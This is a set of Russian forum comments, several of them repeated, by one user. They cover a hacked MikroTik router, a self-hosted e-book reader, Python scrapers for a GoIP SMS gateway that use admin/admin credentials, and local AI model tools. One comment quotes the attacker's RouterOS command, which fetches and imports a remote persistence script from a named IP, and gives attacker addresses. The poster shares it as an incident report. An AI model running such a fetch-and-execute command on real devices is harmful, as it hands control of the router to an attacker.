Не-не, тут не взлом пароля, отключенный SSH не поможет. Тут уязвимость была в прошивке, коннект происходил без пароля и с выключенным SSH. Первым делом скрипт включал SSH, устанавливал ключ, создавал пользователя и добавлял в планировщик отсылку состояний в режиме реального времени.
Я попался на этой уязвимости, но мониторинг вовремя меня предупредил. Зловред попал в систему, день выжидал, потом запустил там конфиги. Они конфликтовали с моими, и мне пришло предупреждение, которое я сам настраивал. Открыл, смотрю - новый пользователь, новые конфиги, новые соединения, VPN-ферма, но заработать ей не суждено. Так в системе уже был мой скриптик с предупреждениями... Пришлось быстро разбираться, и я понял, что все дело в старой прошивке. Обновил все 6 микротиков; взломали только один, у которого был белый IP. Теперь в нем есть еще один скриптик для добавления в базу неудачных авторизаций. И делаю еще один, который будет сверять правила, и если есть лишние, то ставить перед ними приоритет на дроп соединения.
ип атакующих из США. 64.44.141.220 и 23.95.217.226
https://github.com/CherryHQ/cherry-studio я использую как локальный шлюз, завожу туда все свои локальные ии модели и провайдеров с разными моделями, а уже у нему подключаю приложение, агенты, терминалы, боты. и все в одном месте с созможностью бекапа.
Если несколько решений, можно захостить на ноуте и пользоваться на локальной машине, потом просто переместить на основной хост json с закладкой. Если же в обычном сценарии использования у вас пропадет на какое то время интернет, это совершенно не страшно, он нужен только в момент открытия книги, вы можете продолжить читать туже книгу делать закладки, главное не закрываете вкладку и не выходите из книги. Когда появится интернет, просто перелистните на следующую страницу или поставьте новую закладку, в этот момент созвониться весь прогресс и даже те закладки, которые были сделаны оффлайн. При запуске книги все уходит в кешь браузера и там храниться (не вся библиотека а только одна книга, закладки и настройки), при каждом перелистовании уходит на сервер. Такой сценарий я предусмотрел, так как понимаю, что с сетью могут быть проблемы. Если держать кладку с книгой открытой то все будет хорошо.
Конечно, сервис достойный (но я продуктами Яндекса крайне мало пользуюсь). Я вот только что зашел проверить и там нет книг, которые я читаю. они вполне обычные, научная фантастика, но писатель представлен одной аудио книгой...
Вообще не планировал, редко встречаю это формат, чаще встречаю дежавю. По мне, самый лучший формат для книги fb2, так как в нем есть разметка, выделение глав, форматирование текста, и даже поддержка картинок, последнее я еще не реализовал. Если это актуально я попробую сделать под него парсер.
Развернуть очень просто, скачиваете, устанавливаете питон, ничего дополнительно не нужно, и командой python3 server.py сервер создастся и в командной строке появится ссылка для открытия интерфейса.
Не благодарите, вот парсер на питоне, вывводит все смс. думаю дальше смодите из запомните в переменную и новые пересылать в телеграм, как делаю я )
Скрытый текст
import re
import requests
from bs4 import BeautifulSoup
SMS_URL = "http://10.20.30.7/default/en_US/tools.html?type=sms_inbox"
USERNAME = "admin"
PASSWORD = "admin"
def fetch_page():
response = requests.get(
SMS_URL,
auth=(USERNAME, PASSWORD),
timeout=10
)
response.raise_for_status()
return response.text
def decode_mojibake(text):
"""Исправляет двойное кодирование (mojibake)"""
try:
# Сначала пробуем как Latin-1, затем как UTF-8
return text.encode('latin1').decode('utf-8')
except:
return text
def extract_sms_from_js(html):
# Ищем все вызовы sms_row_insert
pattern = r'sms_row_insert\((\w+_sms_store),\s*sms,\s*pos,\s*(\d+)\);'
matches = re.findall(pattern, html)
messages = []
for store_id, line in matches:
# Ищем массив sms перед вызовом функции
start = html.rfind('sms= [', 0, html.find(f'sms_row_insert({store_id}'))
if start == -1:
continue
end = html.find('];', start) + 2
sms_array_str = html[start:end]
# Парсим массив SMS
try:
# Убираем sms= и ; в конце
array_content = sms_array_str[5:-2].strip()
# Используем регулярное выражение для извлечения элементов массива
items = re.findall(r'"(.*?)"', array_content)
for item in items:
if not item or item == '""':
continue
# Разбиваем по запятым (максимум 2 разбиения)
parts = item.split(',', 2)
if len(parts) >= 3:
time_part = parts[0].strip()
sender = parts[1].strip()
text = parts[2].strip()
# Исправляем кодировку
time_part = decode_mojibake(time_part)
sender = decode_mojibake(sender)
text = decode_mojibake(text)
# Дополнительная очистка текста
text = text.replace('\\n', '\n')
text = text.replace('\\r', '')
text = text.replace('\\t', ' ')
messages.append({
'line': line,
'time': time_part,
'from': sender,
'text': text
})
except Exception as e:
print(f"Ошибка парсинга массива SMS: {e}")
return messages
def main():
try:
html = fetch_page()
# Сохраняем для отладки
with open("goip_sms_page.html", "w", encoding="utf-8") as f:
f.write(html)
messages = extract_sms_from_js(html)
print(f"\nНайдено SMS: {len(messages)}\n")
for i, sms in enumerate(messages, 1):
print(f"SMS #{i}")
print(f"Линия: {sms['line']}")
print(f"Время: {sms['time']}")
print(f"От: {sms['from']}")
print(f"Текст: {sms['text']}")
print("-" * 50)
except Exception as e:
print(f"Ошибка: {e}")
if __name__ == "__main__":
main()
И подарок, парсер звонков, что бы приходили уведомления кто звонит... а то мой mikopbx не может считать номер звонящено....
Скрытый текст
import requests
from bs4 import BeautifulSoup
import time
import re
# Конфигурация
GOIP_URL = "http://10.20.30.7/default/en_US/status.html"
USERNAME = "admin"
PASSWORD = "admin"
def get_status():
# Получаем страницу с базовой аутентификацией
response = requests.get(GOIP_URL, auth=(USERNAME, PASSWORD))
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
# Находим все строки с статусами линий (l1_line_state, l2_line_state, и т.д.)
for i in range(1, 5): # Для линий 1-4
status_cell = soup.find('td', {'id': f'l{i}_line_state'})
if status_cell:
status = status_cell.get_text(strip=True)
print(f"Линия {i}: {status}")
# Если статус содержит "INCOMING", извлекаем номер
if "INCOMING:" in status:
# Извлекаем номер с помощью регулярного выражения
caller_number = re.search(r'INCOMING:(\d+)', status).group(1)
caller_number = f"+{caller_number}"
print(f"Входящий звонок на линии {i} от: {caller_number}")
# Здесь можно добавить отправку уведомления
# send_notification(f"Входящий звонок на линии {i} от: {caller_number}")
else:
print(f"Не удалось найти статус для линии {i}")
else:
print(f"Ошибка доступа. Статус: {response.status_code}")
def main():
while True:
print("\n--- Проверка статуса ---")
get_status()
time.sleep(1) # Пауза в 1 секунду
if __name__ == "__main__":
main()
Ознакомился, интересная вешь, мне вот курсор не зашел, и этот тоже не нравиться, что недает свои локальные модели использовать... модет кто подскажет, подобные решения, но с вожножностью подключать свои локальные и глобальные ии апи. мне вот очень поравилось работать с чери студио, там много моделий, может как мост служить между моделями, проверять накакой железке модел как работает, проверять как проходит обучение... не всегда подхотят готовые решения и да и не хочется раскрывать ии свои базы, не хочу безплатно обучать чужие модели и учить их искать ошибки.
Да, так мы сэкономим десятки гигов, но просчеты будут у того, что запустил. Думаю и запуск будет очень долгий из-за заполнения графической памяти из сети, скорость запуска сильно зависит от скорости интерфейса, запуск на мак студии с 128 гигов оперативы быстрее чем на pci5.0x16 ada6000, и в разы быстрее если pci3.0x16 ada6000. Это все касается только LM Studio. Скорость работы, честно не сравнивал. На мак студии студии запучшена более жирная модель. Так как там 80 гигов выделяется под видео память, а у ada6000 48 гигов.
Не-не, тут не взлом пароля, отключенный SSH не поможет. Тут уязвимость была в прошивке, коннект происходил без пароля и с выключенным SSH. Первым делом скрипт включал SSH, устанавливал ключ, создавал пользователя и добавлял в планировщик отсылку состояний в режиме реального времени.
/tool fetch url="http://64.44.141.220:8080/persist_mt.rsc" dst-path=mt_setup.rsc mode=http; /import-memory mt_setup.rscЭто первый скрипт, который ставил взломщик.
Я попался на этой уязвимости, но мониторинг вовремя меня предупредил. Зловред попал в систему, день выжидал, потом запустил там конфиги. Они конфликтовали с моими, и мне пришло предупреждение, которое я сам настраивал. Открыл, смотрю - новый пользователь, новые конфиги, новые соединения, VPN-ферма, но заработать ей не суждено. Так в системе уже был мой скриптик с предупреждениями... Пришлось быстро разбираться, и я понял, что все дело в старой прошивке. Обновил все 6 микротиков; взломали только один, у которого был белый IP. Теперь в нем есть еще один скриптик для добавления в базу неудачных авторизаций. И делаю еще один, который будет сверять правила, и если есть лишние, то ставить перед ними приоритет на дроп соединения.
ип атакующих из США. 64.44.141.220 и 23.95.217.226
http://129.151.144.75:8080/ развернул для демонстрации
Добавил переключатель для отключения анимации, и отключение задержки на перелистования. Спасибо за отзыв.
https://github.com/CherryHQ/cherry-studio
я использую как локальный шлюз, завожу туда все свои локальные ии модели и провайдеров с разными моделями, а уже у нему подключаю приложение, агенты, терминалы, боты. и все в одном месте с созможностью бекапа.
Спасибо, тоже начал проверять, и хотел написать свой отчет, подтверждаю твои слова...
Если несколько решений, можно захостить на ноуте и пользоваться на локальной машине, потом просто переместить на основной хост json с закладкой. Если же в обычном сценарии использования у вас пропадет на какое то время интернет, это совершенно не страшно, он нужен только в момент открытия книги, вы можете продолжить читать туже книгу делать закладки, главное не закрываете вкладку и не выходите из книги. Когда появится интернет, просто перелистните на следующую страницу или поставьте новую закладку, в этот момент созвониться весь прогресс и даже те закладки, которые были сделаны оффлайн. При запуске книги все уходит в кешь браузера и там храниться (не вся библиотека а только одна книга, закладки и настройки), при каждом перелистовании уходит на сервер. Такой сценарий я предусмотрел, так как понимаю, что с сетью могут быть проблемы. Если держать кладку с книгой открытой то все будет хорошо.
Спасибо
Конечно, сервис достойный (но я продуктами Яндекса крайне мало пользуюсь). Я вот только что зашел проверить и там нет книг, которые я читаю. они вполне обычные, научная фантастика, но писатель представлен одной аудио книгой...
Благодарю
Вообще не планировал, редко встречаю это формат, чаще встречаю дежавю. По мне, самый лучший формат для книги fb2, так как в нем есть разметка, выделение глав, форматирование текста, и даже поддержка картинок, последнее я еще не реализовал. Если это актуально я попробую сделать под него парсер.
Спасибо
Развернуть очень просто, скачиваете, устанавливаете питон, ничего дополнительно не нужно, и командой python3 server.py сервер создастся и в командной строке появится ссылка для открытия интерфейса.
Вам добавить опцию его отключения? Мне просто приятно зрительно, так как делал под себя.
На прямую с апи взаимодействовать не придется, это что бы веб интерфейс мог сохранять не только в память браузера, но и локально на сервер.
Можно положить в папку, можно через кнопку на странице библиотеки добавить или перетащить на страницу библиотеки
надо потестить будет
Не благодарите, вот парсер на питоне, вывводит все смс. думаю дальше смодите из запомните в переменную и новые пересылать в телеграм, как делаю я )
Скрытый текст
И подарок, парсер звонков, что бы приходили уведомления кто звонит... а то мой mikopbx не может считать номер звонящено....
Скрытый текст
Ознакомился, интересная вешь, мне вот курсор не зашел, и этот тоже не нравиться, что недает свои локальные модели использовать... модет кто подскажет, подобные решения, но с вожножностью подключать свои локальные и глобальные ии апи. мне вот очень поравилось работать с чери студио, там много моделий, может как мост служить между моделями, проверять накакой железке модел как работает, проверять как проходит обучение... не всегда подхотят готовые решения и да и не хочется раскрывать ии свои базы, не хочу безплатно обучать чужие модели и учить их искать ошибки.
Да, так мы сэкономим десятки гигов, но просчеты будут у того, что запустил. Думаю и запуск будет очень долгий из-за заполнения графической памяти из сети, скорость запуска сильно зависит от скорости интерфейса, запуск на мак студии с 128 гигов оперативы быстрее чем на pci5.0x16 ada6000, и в разы быстрее если pci3.0x16 ada6000. Это все касается только LM Studio. Скорость работы, честно не сравнивал. На мак студии студии запучшена более жирная модель. Так как там 80 гигов выделяется под видео память, а у ada6000 48 гигов.